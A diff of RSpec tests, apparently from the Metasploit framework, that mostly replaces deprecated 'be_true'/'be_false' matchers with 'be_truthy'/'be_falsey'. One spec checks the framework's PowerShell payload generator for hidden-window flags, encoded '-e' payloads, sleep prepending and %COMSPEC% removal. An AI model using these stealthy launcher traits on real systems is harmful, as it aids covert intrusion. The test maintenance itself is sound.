subject.cmd_psh_payload(payload, arch) - decompress(code).include?('Start-Sleep -s ').should be_true + decompress(code).include?('Start-Sleep -s ').should be_truthy end end @@ -250,7 +250,7 @@ describe Msf::Exploit::Powershell do end it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('Start-Sleep -s ').should be_false + decompress(code).include?('Start-Sleep -s ').should be_falsey end end @@ -261,7 +261,7 @@ describe Msf::Exploit::Powershell do end it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('Start-Sleep -s ').should be_false + decompress(code).include?('Start-Sleep -s ').should be_falsey end end @@ -272,15 +272,15 @@ describe Msf::Exploit::Powershell do end it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('-namespace Win32Functions').should be_true + decompress(code).include?('-namespace Win32Functions').should be_truthy end it 'shouldnt shorten args' do code = subject.cmd_psh_payload(payload, arch) - code.include?('-NoProfile -WindowStyle hidden -Command').should be_true + code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy end it 'should include -NoExit' do code = subject.cmd_psh_payload(payload, arch) - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_true + code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy end end @@ -291,7 +291,7 @@ describe Msf::Exploit::Powershell do end it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('System.Runtime.InteropServices;').should be_true + decompress(code).include?('System.Runtime.InteropServices;').should be_truthy end end @@ -302,7 +302,7 @@ describe Msf::Exploit::Powershell do end it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('GlobalAssemblyCache').should be_true + decompress(code).include?('GlobalAssemblyCache').should be_truthy end end @@ -318,7 +318,7 @@ describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_true + except.should be_truthy end end @@ -333,7 +333,7 @@ describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_true + except.should be_truthy end after do subject.datastore['Powershell::method'] = 'reflection' @@ -344,7 +344,7 @@ describe Msf::Exploit::Powershell do context 'when encode_inner_payload' do it 'should contain an inner payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true}) - code.include?(' -e ').should be_true + code.include?(' -e ').should be_truthy end context 'when no_equals is true' do @@ -355,7 +355,7 @@ describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_true + except.should be_truthy end end end @@ -365,15 +365,15 @@ describe Msf::Exploit::Powershell do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false}) code.include?(' -e ').should be_true - code.include?(' -c ').should be_false + code.include?(' -c ').should be_falsey end end context 'when no_equals is true' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true}) code.include?(' -e ').should be_true - code.include?(' -c ').should be_false - code.include?('=').should be_false + code.include?(' -c ').should be_falsey + code.include?('=').should be_falsey end end context 'when encode_inner_payload is true' do @@ -384,7 +384,7 @@ describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_true + except.should be_truthy end end end @@ -392,14 +392,14 @@ describe Msf::Exploit::Powershell do context 'when remove_comspec' do it 'shouldnt contain %COMSPEC%' do code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true}) - code.include?('%COMSPEC%').should be_false + code.include?('%COMSPEC%').should be_falsey end end context 'when use single quotes' do it 'should wrap in single quotes' do code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true}) - code.include?(' -c \'').should be_true + code.include?(' -c \'').should be_truthy end end end @@ -408,27 +408,27 @@ describe Msf::Exploit::Powershell do it 'should contain no full stop when :no_full_stop' do opts = {:no_full_stop => true} command = subject.generate_psh_command_line(opts) - command.include?("powershell ").should be_true + command.include?("powershell ").should be_truthy end it 'should contain full stop unless :no_full_stop' do opts = {} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_true + command.include?("powershell.exe ").should be_truthy opts = {:no_full_stop => false} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_true + command.include?("powershell.exe ").should be_truthy end it 'should ensure the path should always ends with \\' do opts = {:path => "test"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_true + command.include?("test\\powershell.exe ").should be_truthy opts = {:path => "test\\"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_true + command.include?("test\\powershell.exe ").should be_truthy end end diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index c9708dc5eb..aba2da467b 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -292,4 +292,4 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb b/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb index a6d8414b78..51d83619a3 100644 --- a/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb +++ b/spec/lib/msf/core/handler/reverse_http/uri_checksum_spec.rb @@ -86,4 +86,4 @@ describe Msf::Handler::ReverseHttp::UriChecksum do end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/module_spec.rb b/spec/lib/msf/core/module_spec.rb index 5a69e47c9b..73c39dafb7 100644 --- a/spec/lib/msf/core/module_spec.rb +++ b/spec/lib/msf/core/module_spec.rb @@ -10,12 +10,12 @@ shared_examples "search_filter" do |opts| accept.each do |query| it "should accept a query containing '#{query}'" do # if the subject matches, search_filter returns false ("don't filter me out!") - subject.search_filter(query).should be_false + subject.search_filter(query).should be_falsey end unless opts.has_key?(:test_inverse) and not opts[:test_inverse] it "should reject a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_true + subject.search_filter("-#{query}").should be_truthy end end end @@ -23,12 +23,12 @@ shared_examples "search_filter" do |opts| reject.each do |query| it "should reject a query containing '#{query}'" do # if the subject doesn't matches, search_filter returns true ("filter me out!") - subject.search_filter(query).should be_true + subject.search_filter(query).should be_truthy end unless opts.has_key?(:test_inverse) and not opts[:test_inverse] it "should accept a query containing '-#{query}'" do - subject.search_filter("-#{query}").should be_true # what? why? + subject.search_filter("-#{query}").should be_truthy # what? why? end end end diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb index aafa587f9d..c931930904 100644 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ b/spec/lib/msf/core/modules/loader/archive_spec.rb @@ -117,7 +117,7 @@ describe Msf::Modules::Loader::Archive do # this checks that the around(:each) is working it 'should have an existent FastLib' do - File.exist?(@archive_path).should be_true + File.exist?(@archive_path).should be_truthy end it 'should ignore .svn directories' do @@ -127,7 +127,7 @@ describe Msf::Modules::Loader::Archive do end it 'should ignore types that are not enabled' do - module_manager.type_enabled?(disabled_type).should be_false + module_manager.type_enabled?(disabled_type).should be_falsey subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| type.should_not == disabled_type @@ -141,7 +141,7 @@ describe Msf::Modules::Loader::Archive do end it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do - module_manager.type_enabled?(enabled_type).should be_true + module_manager.type_enabled?(enabled_type).should be_truthy subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| type.should == enabled_type @@ -172,7 +172,7 @@ describe Msf::Modules::Loader::Archive do path = "path/to/archive#{archive_extension}" File.extname(path).should == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_true + subject.loadable?(path).should be_truthy end it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do @@ -180,7 +180,7 @@ describe Msf::Modules::Loader::Archive do path.should include(described_class::ARCHIVE_EXTENSION) File.extname(path).should_not == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_false + subject.loadable?(path).should be_falsey end end @@ -244,7 +244,7 @@ describe Msf::Modules::Loader::Archive do end it 'should read modules that exist' do - File.exist?(unarchived_path).should be_true + File.exist?(unarchived_path).should be_truthy end around(:each) do |example| diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index c348fd6e34..12e8ecd89e 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -52,7 +52,7 @@ describe Msf::Modules::Loader::Base do end it 'should be defined' do - described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_true + described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_truthy end it 'should map Msf::MODULE_AUX to auxiliary' do @@ -268,7 +268,7 @@ describe Msf::Modules::Loader::Base do end it 'should return false if :force is false' do - subject.load_module(parent_path, type, module_reference_name, :force => false).should be_false + subject.load_module(parent_path, type, module_reference_name, :force => false).should be_falsey end it 'should not call #read_module_content' do @@ -335,7 +335,7 @@ describe Msf::Modules::Loader::Base do subject.stub(:read_module_content => module_content) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy namespace_module.parent_path.should == parent_path end @@ -343,7 +343,7 @@ describe Msf::Modules::Loader::Base do module_manager.stub(:on_module_load) subject.should_receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do @@ -352,7 +352,7 @@ describe Msf::Modules::Loader::Base do # if the module eval error includes the module_path then the module_path was passed along correctly subject.should_receive(:elog).with(/#{Regexp.escape(module_path)}/) - subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_false + subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey end context 'with empty module content' do @@ -361,12 +361,12 @@ describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should not attempt to make a new namespace_module' do subject.should_not_receive(:namespace_module_transaction) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -426,7 +426,7 @@ describe Msf::Modules::Loader::Base do it 'should record the load error using the original error' do subject.should_receive(:load_error).with(module_path, error) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -457,14 +457,14 @@ describe Msf::Modules::Loader::Base do it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end it 'should return false' do @namespace_module.stub(:version_compatible!).with(module_path, module_reference_name) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end end @@ -520,11 +520,11 @@ describe Msf::Modules::Loader::Base do it 'should record the load error' do subject.should_receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should restore the old namespace module' do @@ -558,15 +558,15 @@ describe Msf::Modules::Loader::Base do module_path, kind_of(Msf::Modules::MetasploitClassCompatibilityError) ) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_get(relative_name).should == @original_namespace_module end @@ -583,7 +583,7 @@ describe Msf::Modules::Loader::Base do it 'should check if it is usable' do subject.should_receive(:usable?).with(metasploit_class).and_return(true) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end context 'without usable metasploit_class' do @@ -593,15 +593,15 @@ describe Msf::Modules::Loader::Base do it 'should log information' do subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey Msf::Modules.const_defined?(relative_name).should be_true Msf::Modules.const_get(relative_name).should == @original_namespace_module end @@ -615,7 +615,7 @@ describe Msf::Modules::Loader::Base do it 'should log load information' do subject.should_receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do @@ -623,17 +623,17 @@ describe Msf::Modules::Loader::Base do module_manager.module_load_error_by_path[module_path] = original_load_error module_manager.module_load_error_by_path[module_path].should == original_load_error - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy module_manager.module_load_error_by_path[module_path].should be_nil end it 'should return true' do - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end it 'should call module_manager.on_module_load' do module_manager.should_receive(:on_module_load) - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy end context 'with :recalculate_by_type' do @@ -645,8 +645,8 @@ describe Msf::Modules::Loader::Base do type, module_reference_name, :recalculate_by_type => recalculate_by_type - ).should be_true - recalculate_by_type[type].should be_true + ).should be_truthy + recalculate_by_type[type].should be_truthy end end @@ -654,13 +654,13 @@ describe Msf::Modules::Loader::Base do it 'should set the count to 1 if it does not exist' do count_by_type = {} - count_by_type.has_key?(type).should be_false + count_by_type.has_key?(type).should be_falsey subject.load_module( parent_path, type, module_reference_name, :count_by_type => count_by_type - ).should be_true + ).should be_truthy count_by_type[type].should == 1 end @@ -675,7 +675,7 @@ describe Msf::Modules::Loader::Base do type, module_reference_name, :count_by_type => count_by_type - ).should be_true + ).should be_truthy incremented_count = original_count + 1 count_by_type[type].should == incremented_count @@ -802,7 +802,7 @@ describe Msf::Modules::Loader::Base do end it 'should return nil if the module is not defined' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey subject.send(:current_module, module_names).should be_nil end @@ -838,7 +838,7 @@ describe Msf::Modules::Loader::Base do it 'should return false if path is hidden' do hidden_path = '.hidden/path/file.rb' - subject.send(:module_path?, hidden_path).should be_false + subject.send(:module_path?, hidden_path).should be_falsey end it 'should return false if the file extension is not MODULE_EXTENSION' do @@ -846,25 +846,25 @@ describe Msf::Modules::Loader::Base do path = "path/with/wrong/extension#{non_module_extension}" non_module_extension.should_not == described_class::MODULE_EXTENSION - subject.send(:module_path?, path).should be_false + subject.send(:module_path?, path).should be_falsey end it 'should return false if the file is a unit test' do unit_test_extension = '.rb.ut.rb' path = "path/to/unit_test#{unit_test_extension}" - subject.send(:module_path?, path).should be_false + subject.send(:module_path?, path).should be_falsey end it 'should return false if the file is a test suite' do test_suite_extension = '.rb.ts.rb' path = "path/to/test_suite#{test_suite_extension}" - subject.send(:module_path?, path).should be_false + subject.send(:module_path?, path).should be_falsey end it 'should return true otherwise' do - subject.send(:module_path?, module_path).should be_true + subject.send(:module_path?, module_path).should be_truthy end end @@ -1022,7 +1022,7 @@ describe Msf::Modules::Loader::Base do it 'should return false' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| false - }.should be_false + }.should be_falsey end end @@ -1043,7 +1043,7 @@ describe Msf::Modules::Loader::Base do it 'should return true' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| true - }.should be_true + }.should be_truthy end end end @@ -1077,18 +1077,18 @@ describe Msf::Modules::Loader::Base do end it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey begin subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Module.const_defined?(relative_name).should be_true + Msf::Module.const_defined?(relative_name).should be_truthy raise error_class, error_message end rescue error_class end - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey end it 'should re-raise the error' do @@ -1102,46 +1102,46 @@ describe Msf::Modules::Loader::Base do context 'with the block returning false' do it 'should remove the created namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy false end - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey end it 'should return false' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| false - }.should be_false + }.should be_falsey end end context 'with the block returning true' do it 'should not restore the non-existent previous namespace module' do - Msf::Modules.const_defined?(relative_name).should be_false + Msf::Modules.const_defined?(relative_name).should be_falsey created_namespace_module = nil subject.send(:namespace_module_transaction, module_full_name) do |namespace_module| - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy created_namespace_module = namespace_module true end - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy Msf::Modules.const_get(relative_name).should == created_namespace_module end it 'should return true' do subject.send(:namespace_module_transaction, module_full_name) { |namespace_module| true - }.should be_true + }.should be_truthy end end end @@ -1240,14 +1240,14 @@ describe Msf::Modules::Loader::Base do context 'with the current constant being the namespace_module' do it 'should not change the constant' do - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy current_module = parent_module.const_get(relative_name) current_module.should == @current_namespace_module subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy restored_module = parent_module.const_get(relative_name) restored_module.should == current_module restored_module.should == @current_namespace_module @@ -1263,7 +1263,7 @@ describe Msf::Modules::Loader::Base do context 'without the current constant being the namespace_module' do it 'should remove relative_name from parent_module' do - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy parent_module.should_receive(:remove_const).with(relative_name) subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) @@ -1281,11 +1281,11 @@ describe Msf::Modules::Loader::Base do context 'without relative_name being a defined constant' do it 'should set relative_name on parent_module to namespace_module' do - parent_module.const_defined?(relative_name).should be_false + parent_module.const_defined?(relative_name).should be_falsey subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) - parent_module.const_defined?(relative_name).should be_true + parent_module.const_defined?(relative_name).should be_truthy parent_module.const_get(relative_name).should == @original_namespace_module end end @@ -1307,7 +1307,7 @@ describe Msf::Modules::Loader::Base do metasploit_class = double('Metasploit Class') metasploit_class.should_not respond_to(:is_usable) - subject.send(:usable?, metasploit_class).should be_true + subject.send(:usable?, metasploit_class).should be_truthy end end @@ -1340,7 +1340,7 @@ describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.send(:usable?, metasploit_class).should be_false + subject.send(:usable?, metasploit_class).should be_falsey end end end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index 3dfda82b0a..d4a47dfc08 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -51,7 +51,7 @@ describe Msf::Modules::Loader::Directory do end it 'should load a module that can be created' do - subject.load_module(parent_path, type, module_reference_name).should be_true + subject.load_module(parent_path, type, module_reference_name).should be_truthy created_module = module_manager.create(module_full_name) @@ -74,7 +74,7 @@ describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end @@ -89,7 +89,7 @@ describe Msf::Modules::Loader::Directory do end it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end end @@ -110,7 +110,7 @@ describe Msf::Modules::Loader::Directory do end it 'should not raise an error' do - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey expect { subject.load_module(parent_path, type, module_reference_name) @@ -118,9 +118,9 @@ describe Msf::Modules::Loader::Directory do end it 'should return false' do - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey - subject.load_module(parent_path, type, module_reference_name).should be_false + subject.load_module(parent_path, type, module_reference_name).should be_falsey end end end @@ -138,7 +138,7 @@ describe Msf::Modules::Loader::Directory do # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test it 'should attempt to open the expected module_path' do File.should_receive(:open).with(module_path, 'rb') - File.exist?(module_path).should be_false + File.exist?(module_path).should be_falsey subject.send(:read_module_content, parent_path, type, module_reference_name) end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 308e763844..6dcc3c6e52 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -47,7 +47,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit1').should be_true + subject.const_defined?('Metasploit1').should be_truthy end it 'should return the class' do @@ -61,7 +61,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit2').should be_true + subject.const_defined?('Metasploit2').should be_truthy end it 'should return the class' do @@ -75,7 +75,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit3').should be_true + subject.const_defined?('Metasploit3').should be_truthy end it 'should return the class' do @@ -89,7 +89,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit4').should be_true + subject.const_defined?('Metasploit4').should be_truthy end it 'should return the class' do @@ -103,7 +103,7 @@ describe Msf::Modules::Namespace do end it 'should be defined' do - subject.const_defined?('Metasploit5').should be_true + subject.const_defined?('Metasploit5').should be_truthy end it 'should be newer than Msf::Framework::Major' do @@ -179,7 +179,7 @@ describe Msf::Modules::Namespace do context 'version_compatible!' do context 'without RequiredVersions' do it 'should not be defined' do - subject.const_defined?('RequiredVersions').should be_false + subject.const_defined?('RequiredVersions').should be_falsey end it 'should not raise an error' do diff --git a/spec/lib/msf/core/options/opt_enum_spec.rb b/spec/lib/msf/core/options/opt_enum_spec.rb index 247b58d7ea..5c882c98b4 100644 --- a/spec/lib/msf/core/options/opt_enum_spec.rb +++ b/spec/lib/msf/core/options/opt_enum_spec.rb @@ -20,4 +20,4 @@ describe Msf::OptEnum do subject.valid?('Bar').should == true end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/options/opt_raw_spec.rb b/spec/lib/msf/core/options/opt_raw_spec.rb index 68b2cceb8c..f2a6bb68e4 100644 --- a/spec/lib/msf/core/options/opt_raw_spec.rb +++ b/spec/lib/msf/core/options/opt_raw_spec.rb @@ -12,4 +12,4 @@ describe Msf::OptRaw do invalid_values = [] it_behaves_like "an option", valid_values, invalid_values, 'raw' -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/options/opt_regexp_spec.rb b/spec/lib/msf/core/options/opt_regexp_spec.rb index 682f7c9330..0ff0e623cc 100644 --- a/spec/lib/msf/core/options/opt_regexp_spec.rb +++ b/spec/lib/msf/core/options/opt_regexp_spec.rb @@ -14,4 +14,4 @@ describe Msf::OptRegexp do ] it_behaves_like "an option", valid_values, invalid_values, 'regexp' -end \ No newline at end of file +end diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 09ff3b5be4..ba53ff2cae 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -530,4 +530,4 @@ describe Msf::PayloadGenerator do end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index d034343336..e28b76212b 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -105,4 +105,4 @@ describe Msf::DBManager::Export do end end end -end \ No newline at end of file +end diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 912e8cef20..f97dd5d7d4 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -845,7 +845,7 @@ describe Msf::DBManager do module_details.all? { |module_detail| module_detail.stance == 'passive' - }.should be_true + }.should be_truthy end end @@ -859,7 +859,7 @@ describe Msf::DBManager do module_details.all? { |module_detail| module_detail.stance == 'aggressive' - }.should be_true + }.should be_truthy end end end @@ -890,7 +890,7 @@ describe Msf::DBManager do module_detail.authors.any? { |module_author| module_author.email == target_module_author.email } - }.should be_true + }.should be_truthy end end @@ -907,7 +907,7 @@ describe Msf::DBManager do module_detail.authors.any? { |module_author| module_author.name == target_module_author.name } - }.should be_true + }.should be_truthy end end end @@ -939,7 +939,7 @@ describe Msf::DBManager do module_details.all? { |module_detail| module_detail.fullname == target_module_detail.fullname - }.should be_true + }.should be_truthy end end @@ -954,7 +954,7 @@ describe Msf::DBManager do module_details.all? { |module_detail| module_detail.name == target_module_detail.name - }.should be_true + }.should be_truthy end end end @@ -991,7 +991,7 @@ describe Msf::DBManager do module_detail.refs.any? { |module_ref| module_ref.name == ref } - }.should be_true + }.should be_truthy end end @@ -1029,7 +1029,7 @@ describe Msf::DBManager do module_details.all? { |module_detail| module_detail.mtype == type - }.should be_true + }.should be_truthy end end @@ -1057,7 +1057,7 @@ describe Msf::DBManager do module_detail.actions.any? { |module_action| module_action.name == search_string } - }.should be_true + }.should be_truthy end end @@ -1077,7 +1077,7 @@ describe Msf::DBManager do module_detail.archs.any? { |module_arch| module_arch.name == search_string } - }.should be_true + }.should be_truthy end end @@ -1097,7 +1097,7 @@ describe Msf::DBManager do module_detail.authors.any? { |module_author| module_author.name == search_string } - }.should be_true + }.should be_truthy end end @@ -1121,7 +1121,7 @@ describe Msf::DBManager do module_details.all? { |module_detail| module_detail.description == target_module_detail.description - }.should be_true + }.should be_truthy end end @@ -1135,7 +1135,7 @@ describe Msf::DBManager do module_details.all? { |module_detail| module_detail.fullname == search_string - }.should be_true + }.should be_truthy end end @@ -1150,7 +1150,7 @@ describe Msf::DBManager do module_details.all? { |module_detail| module_detail.name == target_module_detail.name - }.should be_true + }.should be_truthy end end end @@ -1171,7 +1171,7 @@ describe Msf::DBManager do module_detail.platforms.any? { |module_platform| module_platform.name == search_string } - }.should be_true + }.should be_truthy end end @@ -1191,7 +1191,7 @@ describe Msf::DBManager do module_detail.refs.any? { |module_ref| module_ref.name == search_string } - }.should be_true + }.should be_truthy end end @@ -1211,7 +1211,7 @@ describe Msf::DBManager do module_detail.targets.any? { |module_target| module_target.name == search_string } - }.should be_true + }.should be_truthy end end end @@ -1775,7 +1775,7 @@ describe Msf::DBManager do # @todo determine how to load a single payload to test payload type outside of msfconsole - it_should_behave_like 'Msf::DBManager#update_module_details with module', + it_should_behave_like 'Msf::DBManager#update_module_details with module', :reference_name => 'windows/escalate/screen_unlock', :type => 'post' end diff --git a/spec/lib/rex/exploitation/js/detect_spec.rb b/spec/lib/rex/exploitation/js/detect_spec.rb index f473f73fbd..87c7c2a59f 100644 --- a/spec/lib/rex/exploitation/js/detect_spec.rb +++ b/spec/lib/rex/exploitation/js/detect_spec.rb @@ -27,4 +27,4 @@ describe Rex::Exploitation::Js::Detect do end -end \ No newline at end of file +end diff --git a/spec/lib/rex/exploitation/js/memory_spec.rb b/spec/lib/rex/exploitation/js/memory_spec.rb index 88dc94f501..b016bce066 100644 --- a/spec/lib/rex/exploitation/js/memory_spec.rb +++ b/spec/lib/rex/exploitation/js/memory_spec.rb @@ -27,4 +27,4 @@ describe Rex::Exploitation::Js::Memory do end -end \ No newline at end of file +end diff --git a/spec/lib/rex/exploitation/js/utils_spec.rb b/spec/lib/rex/exploitation/js/utils_spec.rb index f755d99ca2..3dcf60e7ac 100644 --- a/spec/lib/rex/exploitation/js/utils_spec.rb +++ b/spec/lib/rex/exploitation/js/utils_spec.rb @@ -13,4 +13,4 @@ describe Rex::Exploitation::Js::Utils do end -end \ No newline at end of file +end diff --git a/spec/lib/rex/exploitation/powershell/function_spec.rb b/spec/lib/rex/exploitation/powershell/function_spec.rb index bb9159fe21..fbe50770c1 100644 --- a/spec/lib/rex/exploitation/powershell/function_spec.rb +++ b/spec/lib/rex/exploitation/powershell/function_spec.rb @@ -62,16 +62,16 @@ describe Rex::Exploitation::Powershell::Function do function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_without_params) function.name.should eq function_name function.code.should eq example_function_without_params - function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_true + function.to_s.include?("function #{function_name} #{example_function_without_params}").should be_truthy function.params.should be_kind_of Array - function.params.empty?.should be_true + function.params.empty?.should be_truthy end it 'should handle a function with params' do function = Rex::Exploitation::Powershell::Function.new(function_name, example_function_with_params) function.name.should eq function_name function.code.should eq example_function_with_params - 